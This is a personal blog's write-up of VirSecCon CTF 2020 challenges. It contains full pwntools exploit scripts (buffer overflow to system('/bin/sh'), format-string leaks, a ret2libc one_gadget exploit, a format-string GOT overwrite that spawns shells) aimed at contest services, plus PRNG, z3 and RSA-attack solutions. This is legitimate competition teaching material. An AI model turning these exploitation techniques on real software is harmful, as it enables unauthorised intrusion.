Hello I am Arsalan. Offensive Security Engineer, I blog about Cyber security, CTF writeup, Programming, Blockchain and more about tech. born and raised in indonesia, currently living in indonesia

Posts   About

writeup virseccon ctf 2020

this article explains about my writeup.

after competing with many ctf teams throughout the world my team securisecctf managed to secure 17th place out of 2513 team

in this post i will explain challenge that i solve by my self , all the pwn challenge , some crypto and scripting . i can’t get some flag because the service is already down

buff the baberque | Binary Exploitation

we were given elf file called eagle

eagle: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked,
interpreter /lib/ld-, for GNU/Linux 3.2.0, BuildID[sha1]=a846d3f8892ac270e52ea0ce8d316fe15146d3a5, not stripped

solution :

this is just a simple buffer overflow , in order to get the flag we can call

gets(bss) <-- filled "/bin/sh"
system(bss) <-- system("/bin/sh")

exploit :

#!/usr/bin/env python2
'''
    author : tripoloski
    visit  : https://tripoloski1337.github.io/
    mail   : arsalan.dp@gmail.com
    generated by skeloski GEF
'''
import sys
from pwn import *
context.update(arch="i386", endian="little", os="linux", log_level="debug",
               terminal=["tmux", "split-window", "-v", "-p 85"],)
LOCAL, REMOTE = False, False
TARGET=os.path.realpath("/home/tripoloski/code/ctf/virseccon2020/pwn/buff-the-barbarque/eagle")
elf = ELF(TARGET)

def attach(r):
    if LOCAL:
        bkps = []
        gdb.attach(r, '\n'.join(["break %s"%(x,) for x in bkps]))
    return

def exploit(r):
    #attach(r)
    flag = 0x08048720
    system = 0x080483b0
    ret = 0x08048356
    gets = 0x08048390

    bss = 0x0804a028

    p = "A" * 76
    p += p32(gets)
    p += p32(system)
    p += p32(bss)
    p += p32(bss)

    r.sendline(p)
    r.sendline("/bin/sh")
    r.interactive()
    return

if __name__ == "__main__":
    if len(sys.argv)==2 and sys.argv[1]=="remote":
        REMOTE = True
        r = remote("jh2i.com", 50039)
    else:
        LOCAL = True
        r = process([TARGET,])
    exploit(r)
    sys.exit(0)

FLAG : LLS{if_only_eagle_would_buffer_overflow}

Count dracula | Binary Exploitation

we were given service on jh2i.com 50037

solution :

to get the flag we can send (2**31 +1)

from pwn import *
r = remote("jh2i.com",50037)
r.sendline("2147483649")
r.interactive()

unfortunately i can get the flag for writeup since the service is already down

TackStack | Binary Exploitation

they just give us a service on jh2i.com 50038 , and there’s format string vulnerability on the service.

solution :

use format string to leak the flag

from pwn import *
r = remote("jh2i.com" , 50038)
for i in range(500):
    r.sendline("%" + str(i) + "$p")
    flag = r.recv()
    if "LLS" in flag:
        print flag
        break
    else:
        print flag

and decode the last leak

a = '''
    0x632f2e0000000000
    0x65676e656c6c6168
    0x5f45544f4d455200
    0x3736313d54534f48
    0x3134312e3237312e
    0x534f48003732312e
    0x31383d454d414e54
    0x3566656235383831
    0x3d454d4f48006137
    0x4c4f00746f6f722f
    0x50002f3d44575044
    0x7273752f3d485441
    0x732f6c61636f6c2f
    0x7273752f3a6e6962
    0x622f6c61636f6c2f
    0x2f7273752f3a6e69
    0x73752f3a6e696273
    0x732f3a6e69622f72
    0x6e69622f3a6e6962
    0x6f682f3d44575000
    0x46006e77702f656d
    0x7b534c4c3d47414c
    0x6174735f6b636174
    0x65726f6d5f3f6b63
    0x74735f656b696c5f
    0x617474615f6b6361
    0x68632f2e007d6b63
    0x65676e656c6c61
'''
a = a.replace("\n",'').replace("0x",'').split()
# print a
x = ''
for i in a:
    x += i.decode('hex')[::-1]
print x

FLAG : LLS{tack_stack?_more_like_stack_attack}

Return Label | Binary Exploitation

we were given elf and a service

challenge: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0,
BuildID[sha1]=e41c4664a50687586f7c0c98e61beb27c78d40de, not stripped

solution :

run the binary first to determine the bug

looks like there’s a libc leak , let’s open the elf on ida

there’s printf leak from the elf , and a gets() function , now we have to find right offset in order to overwrite RIP address, to do that i use gdb-gef you can download gdb-gef here

/images/virseccon2020/2020-04-05-092803_483x310_scrot.png

we got the offset 152 , now we have to get the libc , i use libc-database to find the right offset you can download libc-database here so we can download the right libc or just copy the offset

ss

because the elf have some pie protection

a

so we can’t use pop rdi; ret; since the address will change , the easiet way to solve this challenge is using one_gadget lol , you can download here

to get one_gadget offset from the libc we can use command :

aa

and this is my exploit to get the flag :

#!/usr/bin/env python2
'''
    author : tripoloski
    visit  : https://tripoloski1337.github.io/
    mail   : arsalan.dp@gmail.com
    generated by skeloski GEF
'''
import sys
from pwn import *
context.update(arch="amd64", endian="little", os="linux", log_level="debug",)
LOCAL, REMOTE = False, False
TARGET=os.path.realpath("./challenge")
elf = ELF(TARGET)

libc = ELF("./libc.so.6")

def attach(r):
    if LOCAL:
        bkps = []
        gdb.attach(r, '\n'.join(["break %s"%(x,) for x in bkps]))
    return

def exploit(r):
    # attach(r)

    # puts_plt = 0x0000000000000660

    r.recvuntil('(printf is at ')
    printf_leak = int("0x" + r.recv(16),16)
    libc_base = printf_leak - libc.symbols['printf']
    gets_plt = libc_base + libc.symbols['gets']
    puts_plt = libc_base + libc.symbols['puts']
    system_plt = libc_base + libc.symbols['system']
    binsh = libc_base + libc.search("/bin/sh").next()

    pop_rdi = libc_base + 0x00000000000008c3

    log.info("printf leak   : " + hex(printf_leak))
    log.info("gets_plt      : " + hex(gets_plt))
    log.info("puts_plt      : " + hex(puts_plt))
    log.info("system        : " + hex(system_plt))
    log.info("/bin/sh       : " + hex(binsh))

    log.info("pop rdi;ret   : " + hex(pop_rdi))

    # local
    # 0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
    # constraints:
    #   rsp & 0xf == 0
    #   rcx == NULL
    #
    # 0x4f322 execve("/bin/sh", rsp+0x40, environ)
    # constraints:
    #   [rsp+0x40] == NULL
    #
    # 0x10a38c execve("/bin/sh", rsp+0x70, environ)
    # constraints:
    #   [rsp+0x70] == NULL


    # remote
    # 0x45216 execve("/bin/sh", rsp+0x30, environ)
    # constraints:
    #   rax == NULL
    #
    # 0x4526a execve("/bin/sh", rsp+0x30, environ)
    # constraints:
    #   [rsp+0x30] == NULL
    #
    # 0xf02a4 execve("/bin/sh", rsp+0x50, environ)
    # constraints:
    #   [rsp+0x50] == NULL
    #
    # 0xf1147 execve("/bin/sh", rsp+0x70, environ)
    # constraints:
    #   [rsp+0x70] == NULL


    one_gadget  = libc_base + 0x45216

    log.info("one_gadget    : " + hex(one_gadget) )

    p = "A"  * 152
    p += p64(one_gadget)

    r.sendline(p)
    r.interactive()
    return

if __name__ == "__main__":
    if len(sys.argv)==2 and sys.argv[1]=="remote":
        REMOTE = True
        r = remote("jh2i.com", 50005)
    else:
        LOCAL = True
        r = process([TARGET,])
    exploit(r)
    sys.exit(0)

FLAG : LLS{r0p_1s_fun}

Seed Spring | Binary Exploitation

we were given file and a service

this is the file

seed_spring: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV),
dynamically linked, interpreter /lib/ld-, BuildID[sha1]=d84ed9b5f6bbfd39eeb4f6df67acbbd356a3ebd2,
for GNU/Linux 3.2.0, not stripped

solution :

let’s open the elf on ida

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+0h] [ebp-18h]
  int v5; // [esp+4h] [ebp-14h]
  unsigned int seed; // [esp+8h] [ebp-10h]
  int i; // [esp+Ch] [ebp-Ch]
  int *v8; // [esp+10h] [ebp-8h]

  v8 = &argc;
  puts((const char *)&unk_201C);
  puts((const char *)&unk_201C);
  puts("                                                                             ");
  puts("                          #                mmmmm  mmmmm    \"    mm   m   mmm ");
  puts("  mmm    mmm    mmm    mmm#          mmm   #   \"# #   \"# mmm    #\"m  # m\"   \"");
  puts(" #   \"  #\"  #  #\"  #  #\" \"#         #   \"  #mmm#\" #mmmm\"   #    # #m # #   mm");
  puts("  \"\"\"m  #\"\"\"\"  #\"\"\"\"  #   #          \"\"\"m  #      #   \"m   #    #  # # #    #");
  puts(" \"mmm\"  \"#mm\"  \"#mm\"  \"#m##         \"mmm\"  #      #    \" mm#mm  #   ##  \"mmm\"");
  puts("                                                                             ");
  puts((const char *)&unk_201C);
  puts((const char *)&unk_201C);
  puts("Welcome! The game is easy: you jump on a sPRiNG.");
  puts("How high will you fly?");
  puts((const char *)&unk_201C);
  fflush(stdout);
  seed = time(0);
  srand(seed);
  for ( i = 1; i <= 30; ++i )
  {
    printf("LEVEL (%d/30)\n", i);
    puts((const char *)&unk_201C);
    LOBYTE(v5) = rand() & 0xF;
    v5 = (unsigned __int8)v5;
    printf("Guess the height: ");
    fflush(stdout);
    std::istream::operator>>(&std::cin, &v4);
    fflush(stdin);
    if ( v5 != v4 )
    {
      puts("WRONG! Sorry, better luck next time!");
      fflush(stdout);
      exit(-1);
    }
  }
  puts("Congratulation! You've won! Here is your flag:");
  get_flag();
  fflush(stdout);
  return 0;
}

according to the pseudo code , we can guessing all the random int generated by time , by using the same setting , so i create another c++ file to solve this challenge

#include <time.h>
#include <stdlib.h>     /* srand, rand */
#include <stdio.h>

int main(){
  // int seed = ;
  srand(time(0));
  for (int i = 0 ; i <= 30 ; i++){
    int x;
    x = rand() & 0xF;
    printf("%d\n",x);
  }

  return 0;
}

run the code and pipe it to the elf

./s | ./seed_spring

aa

FLAG : LLS{pseudo_random_number_generator_not_so_random}

Shopping List | Binary Exploitation

we were given file and a service

challenge: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0,
 BuildID[sha1]=e13011d1b295da3a04e1c671a16d734925da455c, not stripped

and some protection on the elf

aa

solution :

open the elf on ida

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *v3; // rdi
  FILE *v4; // rdi
  FILE *v5; // rdi
  const char **v7; // [rsp+0h] [rbp-1430h]
  int v8; // [rsp+14h] [rbp-141Ch]
  int i; // [rsp+18h] [rbp-1418h]
  int v10; // [rsp+1Ch] [rbp-1414h]
  int v11; // [rsp+1Ch] [rbp-1414h]
  char v12[5128]; // [rsp+20h] [rbp-1410h]
  unsigned __int64 v13; // [rsp+1428h] [rbp-8h]

  v7 = argv;
  v13 = __readfsqword(0x28u);
  v8 = 0;
  v3 = logo;
  puts(logo);
  print_menu(v3);
  while ( 1 )
  {
    printf("> ", v7);
    v4 = stdout;
    fflush(stdout);
    v10 = read_int(v4);
    if ( v10 == 4 )
      break;
    switch ( v10 )
    {
      case 2:
        for ( i = 0; i < v8; ++i )
          printf("%i. %s\n", (unsigned int)(i + 1), &v12[512 * (signed __int64)i]);
        fflush(stdout);
        break;
      case 3:
        printf("Which item? ");
        v5 = stdout;
        fflush(stdout);
        v11 = read_int(v5);
        if ( v11 > 0 && v11 <= v8 )
        {
          printf("What's the new value? ");
          fflush(stdout);
          fgets(&v12[512 * (signed __int64)v11], 512, stdin);
          printf("New Value: ", 512LL);
          printf(&v12[512 * (signed __int64)v11]);
          putchar(10);
          fflush(stdout);
        }
        else
        {
          puts("Invalid item");
          fflush(stdout);
        }
        break;
      case 1:
        printf("What would you like to add? ");
        fflush(stdout);
        fgets(&v12[512 * (signed __int64)v8], 512, stdin);
        printf("Great, added: ", 512LL);
        puts(&v12[512 * (signed __int64)v8]);
        fflush(stdout);
        v8 = (v8 + 1) % 10;
        break;
      default:
        puts("error: invalid choice");
        print_menu("error: invalid choice");
        break;
    }
  }
  return 0;
}

looks like a heap challenge , but actually is not lol. if you look closely

aa

there’s a format string bug , and since the relro protection is just partial we can doing GOT OVERWRITE so we can replace atoi() to system() and send /bin/sh as our invalid input to get the shell , in order to do that , we have to determine the libc function to get the offset and a libc function inside the stack to leak the offset

aa

as you can see 74 is our input so let’s keep in mind. now we have to find a libc function on the stack

aa

we found __libc_start_main+231 on the stack , to leak the address i found the offset is %653$p

aa

aa

the last step we need to determine the libc version , to do that i use libc-database get the libc elf and use one_gadget to solve it quickly

aa

and this is my exploit to solve this challenge

#!/usr/bin/env python2
from fmtstr64 import *
'''
    author : tripoloski
    visit  : https://tripoloski1337.github.io/
    mail   : arsalan.dp@gmail.com
    generated by skeloski GEF
'''
import sys
from pwn import *
context.update(arch="amd64", endian="little", os="linux", log_level="info",)
LOCAL, REMOTE = False, False
TARGET=os.path.realpath("/home/tripoloski/code/ctf/virseccon2020/pwn/shopping-list/challenge")
elf = ELF(TARGET)

# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def attach(r):
    if LOCAL:
        bkps = []
        gdb.attach(r, '\n'.join(["break %s"%(x,) for x in bkps]))
    return

def add(i):
    r.sendlineafter(">","1")
    r.sendlineafter("?",str(i))

def listt(idx , p):
    r.sendlineafter(">","2")

def edit(idx, p):
    r.sendlineafter(">","3")
    r.sendlineafter("?",str(idx))
    r.sendlineafter("?",str(p))

def exploit(r):
    # attach(r)
    # 74
    off = "%313$p" # malloc_135
    off = "%653$p"

    atoi_got = 0x000000602048

    offset___libc_start_main_ret = 0x20830
    offset_system = 0x0000000000045390
    offset_dup2 = 0x00000000000f7970
    offset_read = 0x00000000000f7250
    offset_write = 0x00000000000f72b0
    offset_str_bin_sh = 0x18cd57


    # malloc 0x7ffff7df0537
    # triggering format string
    add(1)
    add(1)
    add(1)
    edit(1 , "AAAAAAAA" + off)
    r.recvuntil("AAAAAAAA")
    leak_libc_start_main_231 = int(r.recv(14),16)

    libc_base = (leak_libc_start_main_231) - offset___libc_start_main_ret
    libc_system = libc_base + offset_system

    log.info("__libc_start_main+231     : " + hex(leak_libc_start_main_231))
    log.info("libc base     : " + hex(libc_base))
    log.info("system        : " + hex(libc_system))

    # 0x45216 execve("/bin/sh", rsp+0x30, environ)
    # constraints:
    #   rax == NULL
    #
    # 0x4526a execve("/bin/sh", rsp+0x30, environ)
    # constraints:
    #   [rsp+0x30] == NULL
    #
    # 0xf02a4 execve("/bin/sh", rsp+0x50, environ)
    # constraints:
    #   [rsp+0x50] == NULL
    #
    # 0xf1147 execve("/bin/sh", rsp+0x70, environ)
    # constraints:
    #   [rsp+0x70] == NULL
    #

    one_shot = libc_base + 0xf1147

    p = fmtstr64_payload(74,{atoi_got:one_shot})
    edit(1, p)
    # r.sendline("/bin/sh")

    r.interactive()
    return

if __name__ == "__main__":
    if len(sys.argv)==2 and sys.argv[1]=="remote":
        REMOTE = True
        r = remote("jh2i.com", 50002)
    else:
        LOCAL = True
        r = process([TARGET,])
    exploit(r)
    sys.exit(0)

unfortunately i can’t get the flag for writeup , the service already down now

CALC-UL8R | scripting

they give 100 math problems

solution :

i use z3 to find all the solution automatically

from pwn import *
from z3 import *

def exp():

    r = remote("jh2i.com",50003)
    r.recvuntil("\n\n")
    for iter in range(100):
        o = Int("o")

        if iter == 0:
            pass
        else:
            r.recvuntil("\n")

        blacklist = 'abcdefghijklmnopqrstuvwxyz'
        arith = str(r.recv()).replace("=",'==')
        for i in blacklist:
            for j in range(len(arith)):
                if i == arith[j]:
                    found = i
                    print "FOUND !! " + found
        ok = arith.replace(found , "o")[:-5]
        log.info("case : " + ok)

        # solving using z3
        s = Solver()
        s.add(eval(ok))


        s.check()

        sol =  str(s.model()).replace("[o =","").replace("]",'').replace(" ",'')
        log.info("solution : " + sol)
        log.info("solution for " + str(iter))
        r.sendline(sol)

    r.interactive()


if __name__ == '__main__':
    exp()

FLAG : LLS{sympy_to_solve_equations}

Hot dog | Crypto

we were given file hot_dog.txt

n = 609983533322177402468580314139090006939877955334245068261469677806169434040069069770928535701086364941983428090933795745853896746458472620457491993499511798536747668197186857850887990812746855062415626715645223089415186093589721763366994454776521466115355580659841153428179997121984448771910872629371808169183
e = 387825392787200906676631198961098070912332865442137539919413714790310139653713077586557654409565459752133439009280843965856789151962860193830258244424149230046832475959852771134503754778007132465468717789936602755336332984790622132641288576440161244396963980583318569320681953570111708877198371377792396775817
c = 387550614803874258991642724003284418859467464692188062983793173435868573346772557240137839436544557982321847802344313679589173157662615464542092163712541321351682014606383820947825480748404154232812314611063946877021201178164920650694457922409859337200682155636299936841054496931525597635432090165889554207685

solution:

we can use RsaCtfTool you can download the code here . now we can use command

FLAG : LLS{looks_like_weiners_on_the_barbecue}

Old Monitor | Crypto

we were given image contain string , i use an online ocr image to text to get all the string lol

n1 = 7156756869076785933541721538001332468058823716463367176522928415602207483494410804148006276542112924303341451770810669016327730854877940615498537882480613
n2 = 11836621785229749981615163446485056779734671669107550651518896061047640407932488359788368655821120768954153926193557467079978964149306743349885823110789383
n3 = 7860042756393802290666610238184735974292004010562137537294207072770895340863879606654646472733984175066809691749398560891393841950513254137326295011918329
c1 = 816151508695124692025633485671582530587173533405103918082547285368266333808269829205740958345854863854731967136976590635352281190694769505260562565301138
c2 = 8998140232866629819387815907247927277743959734393727442896220493056828525538465067439667506161727590154084150282859497318610746474659806170461730118307571
c3 = 3488305941609131204120284497226034329328885177230154449259214328225710811259179072441462596230940261693534332200171468394304414412261146069175272094960414

solution:

This crypto challenge is based on the Håstad’s broadcast attack. So by implementing the Chinese Remainder Theorem we could solve this easily

n1 = 7156756869076785933541721538001332468058823716463367176522928415602207483494410804148006276542112924303341451770810669016327730854877940615498537882480613
n2 = 11836621785229749981615163446485056779734671669107550651518896061047640407932488359788368655821120768954153926193557467079978964149306743349885823110789383
n3 = 7860042756393802290666610238184735974292004010562137537294207072770895340863879606654646472733984175066809691749398560891393841950513254137326295011918329
c1 = 816151508695124692025633485671582530587173533405103918082547285368266333808269829205740958345854863854731967136976590635352281190694769505260562565301138
c2 = 8998140232866629819387815907247927277743959734393727442896220493056828525538465067439667506161727590154084150282859497318610746474659806170461730118307571
c3 = 3488305941609131204120284497226034329328885177230154449259214328225710811259179072441462596230940261693534332200171468394304414412261146069175272094960414

e = 3

def chinese_remainder(n, a):
    sum = 0
    prod = reduce(lambda a, b: a*b, n)
    for n_i, a_i in zip(n, a):
        p = prod / n_i
        sum += a_i * mul_inv(p, n_i) * p
    return sum % prod

def mul_inv(a, b):
    b0 = b
    x0, x1 = 0, 1
    if b == 1: return 1
    while a > 1:
        q = a / b
        a, b = b, a%b
        x0, x1 = x1 - q * x0, x0
    if x1 < 0: x1 += b0
    return x1

def find_invpow(x,n):
    """Finds the integer component of the n'th root of x,
    an integer such that y ** n <= x < (y + 1) ** n.
    """
    high = 1
    while high ** n < x:
        high *= 2
    low = high/2
    while low < high:
        mid = (low + high) // 2
        if low < mid and mid**n < x:
            low = mid
        elif high > mid and mid**n > x:
            high = mid
        else:
            return mid
    return mid + 1
flag_cubed=chinese_remainder([n1,n2,n3],[c1,c2,c3])
flag=find_invpow(flag_cubed,3)

print "flag: ",hex(flag)[2:-1].decode("hex")

FLAG : LLS{the_chinese_remainder_theorem_is_so_cool}

Polybius | Crypto

we were given text file polybius.txt

413532551224514444425111431524443435454523114523114314

solution:

look like polybius square , so i use https://www.dcode.fr/polybius-cipher to get the flag

FLAG : LLS{POLYBIUSSQUAREISNOTTHATHARD}

i only solve full pwn and some crypto and scripting , i really enjoy solving the challenge and really looking forward to see this event next year or maybe another online conference lol , thanks to the organizers, who have held this event, hopefully it can be an annual event